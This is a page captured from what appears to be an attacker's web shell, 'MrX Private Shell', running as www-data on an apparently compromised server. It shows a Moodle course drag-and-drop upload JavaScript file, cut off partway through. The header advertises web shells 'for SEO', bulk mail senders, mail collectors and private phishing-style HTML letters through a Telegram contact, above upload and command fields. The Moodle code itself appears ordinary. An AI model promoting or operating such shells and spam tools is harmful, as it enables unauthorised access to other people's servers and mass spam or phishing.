__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Javascript library for enableing a drag and drop upload to courses
 *
 * @package    core
 * @subpackage course
 * @copyright  2012 Davo Smith
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
M.course_dndupload = {
    // YUI object.
    Y: null,
    // URL for upload requests
    url: M.cfg.wwwroot + '/course/dndupload.php',
    // maximum size of files allowed in this form
    maxbytes: 0,
    // ID of the course we are on
    courseid: null,
    // Data about the different file/data handlers that are available
    handlers: null,
    // Nasty hack to distinguish between dragenter(first entry),
    // dragenter+dragleave(moving between child elements) and dragleave (leaving element)
    entercount: 0,
    // Used to keep track of the section we are dragging across - to make
    // spotting movement between sections more reliable
    currentsection: null,
    // Used to store the pending uploads whilst the user is being asked for further input
    uploadqueue: null,
    // True if the there is currently a dialog being shown (asking for a name, or giving a
    // choice of file handlers)
    uploaddialog: false,
    // An array containing the last selected file handler for each file type
    lastselected: null,

    // The following are used to identify specific parts of the course page

    // The type of HTML element that is a course section
    sectiontypename: 'li',
    // The classes that an element must have to be identified as a course section
    sectionclasses: ['section', 'main'],
    // The ID of the main content area of the page (for adding the 'status' div)
    pagecontentid: 'page',
    // The selector identifying the list of modules within a section (note changing this may require
    // changes to the get_mods_element function)
    modslistselector: 'ul.section',

    /**
     * Initalise the drag and drop upload interface
     * Note: one and only one of options.filemanager and options.formcallback must be defined
     *
     * @param Y the YUI object
     * @param object options {
     *            courseid: ID of the course we are on
     *            maxbytes: maximum size of files allowed in this form
     *            handlers: Data about the different file/data handlers that are available
     *          }
     */
    init: function(Y, options) {
        this.Y = Y;

        if (!this.browser_supported()) {
            return; // Browser does not support the required functionality
        }

        this.maxbytes = options.maxbytes;
        this.courseid = options.courseid;
        this.handlers = options.handlers;
        this.uploadqueue = new Array();
        this.lastselected = new Array();

        var sectionselector = this.sectiontypename + '.' + this.sectionclasses.join('.');
        var sections = this.Y.all(sectionselector);
        if (sections.isEmpty()) {
            return; // No sections - incompatible course format or front page.
        }
        sections.each( function(el) {
            this.add_preview_element(el);
            this.init_events(el);
        }, this);

        if (options.showstatus) {
            this.add_status_div();
        }

        var self = this;
        require([
            'core_courseformat/courseeditor',
            'core_course/events'
        ], function(
            Editor,
            CourseEvents
        ) {
            // Any change to the course must be applied also to the course state via the courseeditor module.
            self.courseeditor = Editor.getCurrentCourseEditor();

            // Some formats can add sections without reloading the page.
            document.querySelector('#' + self.pagecontentid).addEventListener(
                CourseEvents.sectionRefreshed,
                self.sectionRefreshed.bind(self)
            );
        });
        document.addEventListener('scroll', function() {
            sections.each(function(el) {
                if (el.hasClass('dndupload-dropzone')) {
                    self.rePositionPreviewInfoElement(el);
                }
            }, this);
        }, true);
    },

    /**
     * Setup Drag and Drop in a section.
     * @param {CustomEvent} event The custom event
     */
    sectionRefreshed: function(event) {
        if (event.detail.newSectionElement === undefined) {
            return;
        }
        var element = this.Y.one(event.detail.newSectionElement);
        this.add_preview_element(element);
        this.init_events(element);
    },

    /**
     * Add a div element to tell the user that drag and drop upload
     * is available (or to explain why it is not available)
     */
    add_status_div: function() {
        var Y = this.Y,
            coursecontents = Y.one('#' + this.pagecontentid),
            div,
            handlefile = (this.handlers.filehandlers.length > 0),
            handletext = false,
            handlelink = false,
            i = 0,
            styletop,
            styletopunit;

        if (!coursecontents) {
            return;
        }

        div = Y.Node.create('<div id="dndupload-status"></div>').setStyle('opacity', '0.0');
        coursecontents.insert(div, 0);

        for (i = 0; i < this.handlers.types.length; i++) {
            switch (this.handlers.types[i].identifier) {
                case 'text':
                case 'text/html':
                    handletext = true;
                    break;
                case 'url':
                    handlelink = true;
                    break;
            }
        }
        $msgident = 'dndworking';
        if (handlefile) {
            $msgident += 'file';
        }
        if (handletext) {
            $msgident += 'text';
        }
        if (handlelink) {
            $msgident += 'link';
        }
        div.setContent(M.util.get_string($msgident, 'moodle'));

        styletop = div.getStyle('top') || '0px';
        styletopunit = styletop.replace(/^\d+/, '');
        styletop = parseInt(styletop.replace(/\D*$/, ''), 10);

        var fadein = new Y.Anim({
            node: '#dndupload-status',
            from: {
                opacity: 0.0,
                top: (styletop - 30).toString() + styletopunit
            },

            to: {
                opacity: 1.0,
                top: styletop.toString() + styletopunit
            },
            duration: 0.5
        });

        var fadeout = new Y.Anim({
            node: '#dndupload-status',
            from: {
                opacity: 1.0,
                top: styletop.toString() + styletopunit
            },

            to: {
                opacity: 0.0,
                top: (styletop - 30).toString() + styletopunit
            },
            duration: 0.5
        });

        fadein.run();
        fadein.on('end', function(e) {
            Y.later(3000, this, function() {
                fadeout.run();
            });
        });

        fadeout.on('end', function(e) {
            Y.one('#dndupload-status').remove(true);
        });
    },

    /**
     * Check the browser has the required functionality
     * @return true if browser supports drag/drop upload
     */
    browser_supported: function() {
        if (typeof FileReader == 'undefined') {
            return false;
        }
        if (typeof FormData == 'undefined') {
            return false;
        }
        return true;
    },

    /**
     * Initialise drag events on node container, all events need
     * to be processed for drag and drop to work
     * @param el the element to add events to
     */
    init_events: function(el) {
        this.Y.on('dragenter', this.drag_enter, el, this);
        this.Y.on('dragleave', this.drag_leave, el, this);
        this.Y.on('dragover',  this.drag_over,  el, this);
        this.Y.on('drop',      this.drop,       el, this);
    },

    /**
     * Work out which course section a given element is in
     * @param el the child DOM element within the section
     * @return the DOM element representing the section
     */
    get_section: function(el) {
        var sectionclasses = this.sectionclasses;
        return el.ancestor( function(test) {
            var i;
            for (i=0; i<sectionclasses.length; i++) {
                if (!test.hasClass(sectionclasses[i])) {
                    return false;
                }
                return true;
            }
        }, true);
    },

    /**
     * Work out the number of the section we have been dropped on to, from the section element
     * @param DOMElement section the selected section
     * @return int the section number
     */
    get_section_number: function(section) {
        var sectionid = section.get('id').split('-');
        if (sectionid.length < 2 || sectionid[0] != 'section') {
            return false;
        }
        return parseInt(sectionid[1]);
    },

    /**
     * Check if the event includes data of the given type
     * @param e the event details
     * @param type the data type to check for
     * @return true if the data type is found in the event data
     */
    types_includes: function(e, type) {
        var i;
        var types = e._event.dataTransfer.types;
        type = type.toLowerCase();
        for (i=0; i<types.length; i++) {
            if (!types.hasOwnProperty(i)) {
                continue;
            }
            if (types[i].toLowerCase() === type) {
                return true;
            }
        }
        return false;
    },

    /**
     * Check if the event includes only data of the Files type
     *
     * Chrome drag page images as files. To differentiate a real file from a page
     * image we need to check if all the dataTransfers types are files.
     *
     * @param {Event} e the event details
     * @return true if the data types contains only Files related type
     */
    typesIncludesFilesOnly: function(e) {
        return e._event.dataTransfer.types.every(function(currentType) {
            return (currentType.toLowerCase() != 'text/uri-list'
                && currentType.toLowerCase() != 'text/html'
                && currentType.toLowerCase() != 'text/plain'
            );
        });
    },

    /**
     * Look through the event data, checking it against the registered data types
     * (in order of priority) and return details of the first matching data type
     * @param e the event details
     * @return object|false - false if not found or an object {
     *           realtype: the type as given by the browser
     *           addmessage: the message to show to the user during dragging
     *           namemessage: the message for requesting a name for the resource from the user
     *           type: the identifier of the type (may match several 'realtype's)
     *           }
     */
    drag_type: function(e) {
        // Check there is some data attached.
        if (e._event.dataTransfer === null) {
            return false;
        }
        if (e._event.dataTransfer.types === null) {
            return false;
        }
        if (e._event.dataTransfer.types.length == 0) {
            return false;
        }

        // Check for files first.
        if (this.types_includes(e, 'Files') && this.typesIncludesFilesOnly(e)) {
            if (e.type != 'drop' || e._event.dataTransfer.files.length != 0) {
                if (this.handlers.filehandlers.length == 0) {
                    return false; // No available file handlers - ignore this drag.
                }
                return {
                    realtype: 'Files',
                    addmessage: M.util.get_string('addfilehere', 'moodle'),
                    namemessage: null, // Should not be asked for anyway
                    type: 'Files'
                };
            }
        }

        // Check each of the registered types.
        var types = this.handlers.types;
        for (var i=0; i<types.length; i++) {
            // Check each of the different identifiers for this type
            var dttypes = types[i].datatransfertypes;
            for (var j=0; j<dttypes.length; j++) {
                if (this.types_includes(e, dttypes[j])) {
                    return {
                        realtype: dttypes[j],
                        addmessage: types[i].addmessage,
                        namemessage: types[i].namemessage,
                        handlermessage: types[i].handlermessage,
                        type: types[i].identifier,
                        handlers: types[i].handlers
                    };
                }
            }
        }
        return false; // No types we can handle
    },

    /**
     * Check the content of the drag/drop includes a type we can handle, then, if
     * it is, notify the browser that we want to handle it
     * @param event e
     * @return string type of the event or false
     */
    check_drag: function(e) {
        var type = this.drag_type(e);
        if (type) {
            // Notify browser that we will handle this drag/drop
            e.stopPropagation();
            e.preventDefault();
        }
        return type;
    },

    /**
     * Handle a dragenter event: add a suitable 'add here' message
     * when a drag event occurs, containing a registered data type
     * @param e event data
     * @return false to prevent the event from continuing to be processed
     */
    drag_enter: function(e) {
        if (!(type = this.check_drag(e))) {
            return false;
        }

        var section = this.get_section(e.currentTarget);
        if (!section) {
            return false;
        }

        if (this.currentsection && this.currentsection != section) {
            this.currentsection = section;
            this.entercount = 1;
        } else {
            this.entercount++;
            if (this.entercount > 2) {
                this.entercount = 2;
                return false;
            }
        }

        this.showPreviewInfoElement(section);

        return false;
    },

    /**
     * Handle a dragleave event: remove the 'add here' message (if present)
     * @param e event data
     * @return false to prevent the event from continuing to be processed
     */
    drag_leave: function(e) {
        if (!this.check_drag(e)) {
            return false;
        }

        this.entercount--;
        if (this.entercount == 1) {
            return false;
        }
        this.entercount = 0;
        this.currentsection = null;

        this.hide_preview_element();
        return false;
    },

    /**
     * Handle a dragover event: just prevent the browser default (necessary
     * to allow drag and drop handling to work)
     * @param e event data
     * @return false to prevent the event from continuing to be processed
     */
    drag_over: function(e) {
        this.check_drag(e);
        return false;
    },

    /**
     * Handle a drop event: hide the 'add here' message, check the attached
     * data type and start the upload process
     * @param e event data
     * @return false to prevent the event from continuing to be processed
     */
    drop: function(e) {
        this.hide_preview_element();

        if (!(type = this.check_drag(e))) {
            return false;
        }

        // Work out the number of the section we are on (from its id)
        var section = this.get_section(e.currentTarget);
        var sectionnumber = this.get_section_number(section);

        // Process the file or the included data
        if (type.type == 'Files') {
            var files = e._event.dataTransfer.files;
            for (var i=0, f; f=files[i]; i++) {
                this.handle_file(f, section, sectionnumber);
            }
        } else {
            var contents = e._event.dataTransfer.getData(type.realtype);
            if (contents) {
                this.handle_item(type, contents, section, sectionnumber);
            }
        }

        return false;
    },

    /**
     * Find or create the 'ul' element that contains all of the module
     * instances in this section
     * @param section the DOM element representing the section
     * @return false to prevent the event from continuing to be processed
     */
    get_mods_element: function(section) {
        // Find the 'ul' containing the list of mods
        var modsel = section.one(this.modslistselector);
        if (!modsel) {
            // Create the above 'ul' if it doesn't exist
            modsel = document.createElement('ul');
            modsel.className = 'section img-text';
            var contentel = section.get('children').pop();
            var brel = contentel.get('children').pop();
            contentel.insertBefore(modsel, brel);
            modsel = this.Y.one(modsel);
        }

        return modsel;
    },

    /**
     * Add a new dummy item to the list of mods, to be replaced by a real
     * item & link once the AJAX upload call has completed
     * @param name the label to show in the element
     * @param section the DOM element reperesenting the course section
     * @return DOM element containing the new item
     */
    add_resource_element: function(name, section, module) {
        var modsel = this.get_mods_element(section);

        var resel = {
            parent: modsel,
            li: document.createElement('li'),
            div: document.createElement('div'),
            indentdiv: document.createElement('div'),
            a: document.createElement('a'),
            icon: document.createElement('img'),
            namespan: document.createElement('span'),
            groupingspan: document.createElement('span'),
            progressouter: document.createElement('span'),
            progress: document.createElement('span')
        };

        resel.li.className = 'activity ' + module + ' modtype_' + module;

        resel.indentdiv.className = 'mod-indent';
        resel.li.appendChild(resel.indentdiv);

        resel.div.className = 'activityinstance';
        resel.indentdiv.appendChild(resel.div);

        resel.a.href = '#';
        resel.div.appendChild(resel.a);

        resel.icon.src = M.util.image_url('i/ajaxloader');
        resel.icon.className = 'activityicon';
        resel.a.appendChild(resel.icon);

        resel.namespan.className = 'instancename';
        resel.namespan.innerHTML = name;
        resel.a.appendChild(resel.namespan);

        resel.groupingspan.className = 'groupinglabel';
        resel.div.appendChild(resel.groupingspan);

        resel.progressouter.className = 'dndupload-progress-outer';
        resel.progress.className = 'dndupload-progress-inner';
        resel.progress.innerHTML = '&nbsp;';
        resel.progressouter.appendChild(resel.progress);
        resel.div.appendChild(resel.progressouter);

        modsel.insertBefore(resel.li, modsel.get('children')); // Leave the 'preview element' at the bottom

        return resel;
    },

    /**
     * Hide any visible dndupload-preview elements on the page
     */
    hide_preview_element: function() {
        this.Y.all('.dndupload-preview-wrapper').addClass('dndupload-hidden');
        this.Y.all('.dndupload-over').removeClass('dndupload-over');
        this.Y.all('.dndupload-dropzone').removeClass('dndupload-dropzone');
    },

    /**
     * Unhide the preview element for the given section and set it to display
     * the correct message
     * @param section the YUI node representing the selected course section
     * @param type the details of the data type detected in the drag (including the message to display)
     * @deprecated Since Moodle 4.0. Please use showPreviewInfoElement() instead.
     */
    show_preview_element: function(section, type) {
        this.hide_preview_element();
        var preview = section.one('li.dndupload-preview').removeClass('dndupload-hidden');
        section.addClass('dndupload-over');

        // Horrible work-around to allow the 'Add X here' text to be a drop target in Firefox.
        var node = preview.one('span').getDOMNode();
        node.firstChild.nodeValue = type.addmessage;
    },

    /**
     * Unhide the preview information element for the given section and set it to display
     * the correct message
     * @param {Object} section the YUI node representing the selected course section
     */
    showPreviewInfoElement: function(section) {
        this.hide_preview_element();
        section.one('.dndupload-preview-wrapper').removeClass('dndupload-hidden');
        section.addClass('dndupload-dropzone');
        this.rePositionPreviewInfoElement(section);
    },

    /**
     * Add the preview element to a course section. Note: this needs to be done before 'addEventListener'
     * is called, otherwise Firefox will ignore events generated when the mouse is over the preview
     * element (instead of passing them up to the parent element)
     * @param {Object} section the YUI node representing the selected course section
     */
    add_preview_element: function(section) {
        const modsEl = this.get_mods_element(section);

        // Create overlay div.
        const overlay = document.createElement('div');
        overlay.className = 'dndupload-preview-overlay';

        modsEl.get('parentNode').appendChild(overlay);

        // Create preview div.
        const preview = {
            wrapper: document.createElement('div'),
            div: document.createElement('div'),
            iconSpan: document.createElement('span'),
            nameSpan: document.createElement('span')
        };

        preview.wrapper.className = 'dndupload-preview-wrapper dndupload-hidden';
        preview.wrapper.appendChild(preview.div);
        preview.div.className = 'dndupload-preview';
        preview.div.appendChild(document.createTextNode(' '));
        preview.iconSpan.className = 'fa fa-arrow-circle-o-down';
        preview.nameSpan.className = 'instancename';
        preview.nameSpan.innerHTML = M.util.get_string('addfilehere', 'moodle');
        preview.div.appendChild(preview.iconSpan);
        preview.div.appendChild(preview.nameSpan);

        modsEl.get('parentNode').appendChild(preview.wrapper);
    },

    /**
     * Re-position the preview information element by calculating the section position.
     *
     * @param {Object} section the YUI node representing the selected course section
     */
    rePositionPreviewInfoElement: function(section) {
        const sectionElement = document.getElementById(section.get('id'));
        const rect = sectionElement.getBoundingClientRect();
        const sectionHeight = parseInt(window.getComputedStyle(sectionElement).height, 10);
        const sectionOffset = rect.top;
        const preview = sectionElement.querySelector('.dndupload-preview-wrapper');
        const previewHeight = parseInt(window.getComputedStyle(preview).height, 10) +
            (2 * parseInt(window.getComputedStyle(preview).padding, 10));
        let top, bottom;
        if (sectionOffset < 0) {
            if (sectionHeight + sectionOffset >= previewHeight) {
                // We have enough space here, just stick the preview to the top.
                let offSetTop = 0 - sectionOffset;
                const navBar = document.querySelector('nav.navbar.fixed-top');
                if (navBar) {
                    offSetTop = offSetTop + navBar.offsetHeight;
                }
                top = offSetTop + 'px';
                bottom = 'unset';
            } else {
                // We do not have enough space here, just stick the preview to the bottom.
                top = 'unset';
                bottom = 0;
            }
        } else {
            top = 0;
            bottom = 'unset';
        }

        preview.style.top = top
        preview.style.bottom = bottom;
    },

    /**
     * Find the registered handler for the given file type. If there is more than one, ask the
     * user which one to use. Then upload the file to the server
     * @param file the details of the file, taken from the FileList in the drop event
     * @param section the DOM element representing the selected course section
     * @param sectionnumber the number of the selected course section
     */
    handle_file: function(file, section, sectionnumber) {
        var handlers = new Array();
        var filehandlers = this.handlers.filehandlers;
        var extension = '';
        var dotpos = file.name.lastIndexOf('.');
        if (dotpos != -1) {
            extension = file.name.substr(dotpos+1, file.name.length).toLowerCase();
        }

        for (var i=0; i<filehandlers.length; i++) {
            if (filehandlers[i].extension == '*' || filehandlers[i].extension == extension) {
                handlers.push(filehandlers[i]);
            }
        }

        if (handlers.length == 0) {
            // No handlers at all (not even 'resource'?)
            return;
        }

        if (handlers.length == 1) {
            this.upload_file(file, section, sectionnumber, handlers[0].module);
            return;
        }

        this.file_handler_dialog(handlers, extension, file, section, sectionnumber);
    },

    /**
     * Show a dialog box, allowing the user to choose what to do with the file they are uploading
     * @param handlers the available handlers to choose between
     * @param extension the extension of the file being uploaded
     * @param file the File object being uploaded
     * @param section the DOM element of the section being uploaded to
     * @param sectionnumber the number of the selected course section
     */
    file_handler_dialog: function(handlers, extension, file, section, sectionnumber) {
        if (this.uploaddialog) {
            var details = new Object();
            details.isfile = true;
            details.handlers = handlers;
            details.extension = extension;
            details.file = file;
            details.section = section;
            details.sectionnumber = sectionnumber;
            this.uploadqueue.push(details);
            return;
        }
        this.uploaddialog = true;

        var timestamp = new Date().getTime();
        var uploadid = Math.round(Math.random()*100000)+'-'+timestamp;
        var content = '';
        var sel;
        if (extension in this.lastselected) {
            sel = this.lastselected[extension];
        } else {
            sel = handlers[0].module;
        }
        content += '<p>'+M.util.get_string('actionchoice', 'moodle', file.name)+'</p>';
        content += '<div id="dndupload_handlers'+uploadid+'">';
        for (var i=0; i<handlers.length; i++) {
            var id = 'dndupload_handler'+uploadid+handlers[i].module;
            var checked = (handlers[i].module == sel) ? 'checked="checked" ' : '';
            content += '<input type="radio" name="handler" value="'+handlers[i].module+'" id="'+id+'" '+checked+'/>';
            content += ' <label for="'+id+'">';
            content += handlers[i].message;
            content += '</label><br/>';
        }
        content += '</div>';

        var Y = this.Y;
        var self = this;
        var panel = new M.core.dialogue({
            bodyContent: content,
            width: '350px',
            modal: true,
            visible: false,
            render: true,
            align: {
                node: null,
                points: [Y.WidgetPositionAlign.CC, Y.WidgetPositionAlign.CC]
            }
        });
        panel.show();
        // When the panel is hidden - destroy it and then check for other pending uploads
        panel.after("visibleChange", function(e) {
            if (!panel.get('visible')) {
                panel.destroy(true);
                self.check_upload_queue();
            }
        });

        // Add the submit/cancel buttons to the bottom of the dialog.
        panel.addButton({
            label: M.util.get_string('upload', 'moodle'),
            action: function(e) {
                e.preventDefault();
                // Find out which module was selected
                var module = false;
                var div = Y.one('#dndupload_handlers'+uploadid);
                div.all('input').each(function(input) {
                    if (input.get('checked')) {
                        module = input.get('value');
                    }
                });
                if (!module) {
                    return;
                }
                panel.hide();
                // Remember this selection for next time
                self.lastselected[extension] = module;
                // Do the upload
                self.upload_file(file, section, sectionnumber, module);
            },
            section: Y.WidgetStdMod.FOOTER
        });
        panel.addButton({
            label: M.util.get_string('cancel', 'moodle'),
            action: function(e) {
                e.preventDefault();
                panel.hide();
            },
            section: Y.WidgetStdMod.FOOTER
        });
    },

    /**
     * Check to see if there are any other dialog boxes to show, now that the current one has
     * been dealt with
     */
    check_upload_queue: function() {
        this.uploaddialog = false;
        if (this.uploadqueue.length == 0) {
            return;
        }

        var details = this.uploadqueue.shift();
        if (details.isfile) {
            this.file_handler_dialog(details.handlers, details.extension, details.file, details.section, details.sectionnumber);
        } else {
            this.handle_item(details.type, details.contents, details.section, details.sectionnumber);
        }
    },

    /**
     * Do the file upload: show the dummy element, use an AJAX call to send the data
     * to the server, update the progress bar for the file, then replace the dummy
     * element with the real information once the AJAX call completes
     * @param file the details of the file, taken from the FileList in the drop event
     * @param section the DOM element representing the selected course section
     * @param sectionnumber the number of the selected course section
     */
    upload_file: function(file, section, sectionnumber, module) {

        // This would be an ideal place to use the Y.io function
        // however, this does not support data encoded using the
        // FormData object, which is needed to transfer data from
        // the DataTransfer object into an XMLHTTPRequest
        // This can be converted when the YUI issue has been integrated:
        // http://yuilibrary.com/projects/yui3/ticket/2531274
        var xhr = new XMLHttpRequest();
        var self = this;

        if (this.maxbytes > 0 && file.size > this.maxbytes) {
            new M.core.alert({message: M.util.get_string('namedfiletoolarge', 'moodle', {filename: file.name})});
            return;
        }

        // Add the file to the display
        var resel = this.add_resource_element(file.name, section, module);

        // Update the progress bar as the file is uploaded
        xhr.upload.addEventListener('progress', function(e) {
            if (e.lengthComputable) {
                var percentage = Math.round((e.loaded * 100) / e.total);
                resel.progress.style.width = percentage + '%';
            }
        }, false);

        // Wait for the AJAX call to complete, then update the
        // dummy element with the returned details
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 1) {
                this.originalUnloadEvent = window.onbeforeunload;
                // Trigger form upload start events.
                require(['core_form/events'], function(FormEvent) {
                    FormEvent.notifyUploadStarted(section.get('id'));
                });
            }
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
                    var result = JSON.parse(xhr.responseText);
                    if (result) {
                        if (result.error == 0) {
                            // All OK - replace the dummy element.
                            resel.li.outerHTML = result.fullcontent;
                            if (self.Y.UA.gecko > 0) {
                                // Fix a Firefox bug which makes sites with a '~' in their wwwroot
                                // log the user out when clicking on the link (before refreshing the page).
                                resel.li.outerHTML = unescape(resel.li.outerHTML);
                            }
                            self.add_editing(result.elementid);
                            // Once done, send any new course module id to the courseeditor to update de course state.
                            self.courseeditor.dispatch('cmState', [result.cmid]);
                            // Fire the content updated event.
                            require(['core/event', 'jquery'], function(event, $) {
                                event.notifyFilterContentUpdated($(result.fullcontent));
                            });
                        } else {
                            // Error - remove the dummy element
                            resel.parent.removeChild(resel.li);
                            new M.core.alert({message: result.error});
                        }
                    }
                } else {
                    new M.core.alert({message: M.util.get_string('servererror', 'moodle')});
                }
                // Trigger form upload complete events.
                require(['core_form/events'], function(FormEvent) {
                    FormEvent.notifyUploadCompleted(section.get('id'));
                });
            }
        };

        // Prepare the data to send
        var formData = new FormData();
        try {
            formData.append('repo_upload_file', file);
        } catch (e) {
            // Edge throws an error at this point if we try to upload a folder.
            resel.parent.removeChild(resel.li);
            new M.core.alert({message: M.util.get_string('filereaderror', 'moodle', file.name)});
            return;
        }
        formData.append('sesskey', M.cfg.sesskey);
        formData.append('course', this.courseid);
        formData.append('section', sectionnumber);
        formData.append('module', module);
        formData.append('type', 'Files');

        // Try reading the file to check it is not a folder, before sending it to the server.
        var reader = new FileReader();
        reader.onload = function() {
            // File was read OK - send it to the server.
            xhr.open("POST", self.url, true);
            xhr.send(formData);
        };
        reader.onerror = function() {
            // Unable to read the file (it is probably a folder) - display an error message.
            resel.parent.removeChild(resel.li);
            new M.core.alert({message: M.util.get_string('filereaderror', 'moodle', file.name)});
        };
        if (file.size > 0) {
            // If this is a non-empty file, try reading the first few bytes.
            // This will trigger reader.onerror() for folders and reader.onload() for ordinary, readable files.
            reader.readAsText(file.slice(0, 5));
        } else {
            // If you call slice() on a 0-byte folder, before calling readAsText, then Firefox triggers reader.onload(),
            // instead of reader.onerror().
            // So, for 0-byte files, just call readAsText on the whole file (and it will trigger load/error functions as expected).
            reader.readAsText(file);
        }
    },

    /**
     * Show a dialog box to gather the name of the resource / activity to be created
     * from the uploaded content
     * @param type the details of the type of content
     * @param contents the contents to be uploaded
     * @section the DOM element for the section being uploaded to
     * @sectionnumber the number of the section being uploaded to
     */
    handle_item: function(type, contents, section, sectionnumber) {
        if (type.handlers.length == 0) {
            // Nothing to handle this - should not have got here
            return;
        }

        if (type.handlers.length == 1 && type.handlers[0].noname) {
            // Only one handler and it doesn't need a name (i.e. a label).
            this.upload_item('', type.type, contents, section, sectionnumber, type.handlers[0].module);
            this.check_upload_queue();
            return;
        }

        if (this.uploaddialog) {
            var details = new Object();
            details.isfile = false;
            details.type = type;
            details.contents = contents;
            details.section = section;
            details.setcionnumber = sectionnumber;
            this.uploadqueue.push(details);
            return;
        }
        this.uploaddialog = true;

        var timestamp = new Date().getTime();
        var uploadid = Math.round(Math.random()*100000)+'-'+timestamp;
        var nameid = 'dndupload_handler_name'+uploadid;
        var content = '';
        if (type.handlers.length > 1) {
            content += '<p>'+type.handlermessage+'</p>';
            content += '<div id="dndupload_handlers'+uploadid+'">';
            var sel = type.handlers[0].module;
            for (var i=0; i<type.handlers.length; i++) {
                var id = 'dndupload_handler'+uploadid+type.handlers[i].module;
                var checked = (type.handlers[i].module == sel) ? 'checked="checked" ' : '';
                content += '<input type="radio" name="handler" value="'+i+'" id="'+id+'" '+checked+'/>';
                content += ' <label for="'+id+'">';
                content += type.handlers[i].message;
                content += '</label><br/>';
            }
            content += '</div>';
        }
        var disabled = (type.handlers[0].noname) ? ' disabled = "disabled" ' : '';
        content += '<label for="'+nameid+'">'+type.namemessage+'</label>';
        content += ' <input type="text" id="'+nameid+'" value="" '+disabled+' />';

        var Y = this.Y;
        var self = this;
        var panel = new M.core.dialogue({
            bodyContent: content,
            width: '350px',
            modal: true,
            visible: true,
            render: true,
            align: {
                node: null,
                points: [Y.WidgetPositionAlign.CC, Y.WidgetPositionAlign.CC]
            }
        });

        // When the panel is hidden - destroy it and then check for other pending uploads
        panel.after("visibleChange", function(e) {
            if (!panel.get('visible')) {
                panel.destroy(true);
                self.check_upload_queue();
            }
        });

        var namefield = Y.one('#'+nameid);
        var submit = function(e) {
            e.preventDefault();
            var name = Y.Lang.trim(namefield.get('value'));
            var module = false;
            var noname = false;
            if (type.handlers.length > 1) {
                // Find out which module was selected
                var div = Y.one('#dndupload_handlers'+uploadid);
                div.all('input').each(function(input) {
                    if (input.get('checked')) {
                        var idx = input.get('value');
                        module = type.handlers[idx].module;
                        noname = type.handlers[idx].noname;
                    }
                });
                if (!module) {
                    return;
                }
            } else {
                module = type.handlers[0].module;
                noname = type.handlers[0].noname;
            }
            if (name == '' && !noname) {
                return;
            }
            if (noname) {
                name = '';
            }
            panel.hide();
            // Do the upload
            self.upload_item(name, type.type, contents, section, sectionnumber, module);
        };

        // Add the submit/cancel buttons to the bottom of the dialog.
        panel.addButton({
            label: M.util.get_string('upload', 'moodle'),
            action: submit,
            section: Y.WidgetStdMod.FOOTER,
            name: 'submit'
        });
        panel.addButton({
            label: M.util.get_string('cancel', 'moodle'),
            action: function(e) {
                e.preventDefault();
                panel.hide();
            },
            section: Y.WidgetStdMod.FOOTER
        });
        var submitbutton = panel.getButton('submit').button;
        namefield.on('key', submit, 'enter'); // Submit the form if 'enter' pressed
        namefield.after('keyup', function() {
            if (Y.Lang.trim(namefield.get('value')) == '') {
                submitbutton.disable();
            } else {
                submitbutton.enable();
            }
        });

        // Enable / disable the 'name' box, depending on the handler selected.
        for (i=0; i<type.handlers.length; i++) {
            if (type.handlers[i].noname) {
                Y.one('#dndupload_handler'+uploadid+type.handlers[i].module).on('click', function (e) {
                    namefield.set('disabled', 'disabled');
                    submitbutton.enable();
                });
            } else {
                Y.one('#dndupload_handler'+uploadid+type.handlers[i].module).on('click', function (e) {
                    namefield.removeAttribute('disabled');
                    namefield.focus();
                    if (Y.Lang.trim(namefield.get('value')) == '') {
                        submitbutton.disable();
                    }
                });
            }
        }

        // Focus on the 'name' box
        Y.one('#'+nameid).focus();
    },

    /**
     * Upload any data types that are not files: display a dummy resource element, send
     * the data to the server, update the progress bar for the file, then replace the
     * dummy element with the real information once the AJAX call completes
     * @param name the display name for the resource / activity to create
     * @param type the details of the data type found in the drop event
     * @param contents the actual data that was dropped
     * @param section the DOM element representing the selected course section
     * @param sectionnumber the number of the selected course section
     * @param module the module chosen to handle this upload
     */
    upload_item: function(name, type, contents, section, sectionnumber, module) {

        // This would be an ideal place to use the Y.io function
        // however, this does not support data encoded using the
        // FormData object, which is needed to transfer data from
        // the DataTransfer object into an XMLHTTPRequest
        // This can be converted when the YUI issue has been integrated:
        // http://yuilibrary.com/projects/yui3/ticket/2531274
        var xhr = new XMLHttpRequest();
        var self = this;

        // Add the item to the display
        var resel = this.add_resource_element(name, section, module);

        // Wait for the AJAX call to complete, then update the
        // dummy element with the returned details
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 1) {
                this.originalUnloadEvent = window.onbeforeunload;
                // Trigger form upload start events.
                require(['core_form/events'], function(FormEvent) {
                    FormEvent.notifyUploadStarted(section.get('id'));
                });
            }
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
                    var result = JSON.parse(xhr.responseText);
                    if (result) {
                        if (result.error == 0) {
                            // All OK - replace the dummy element.
                            resel.li.outerHTML = result.fullcontent;
                            if (self.Y.UA.gecko > 0) {
                                // Fix a Firefox bug which makes sites with a '~' in their wwwroot
                                // log the user out when clicking on the link (before refreshing the page).
                                resel.li.outerHTML = unescape(resel.li.outerHTML);
                            }
                            self.add_editing(result.elementid);
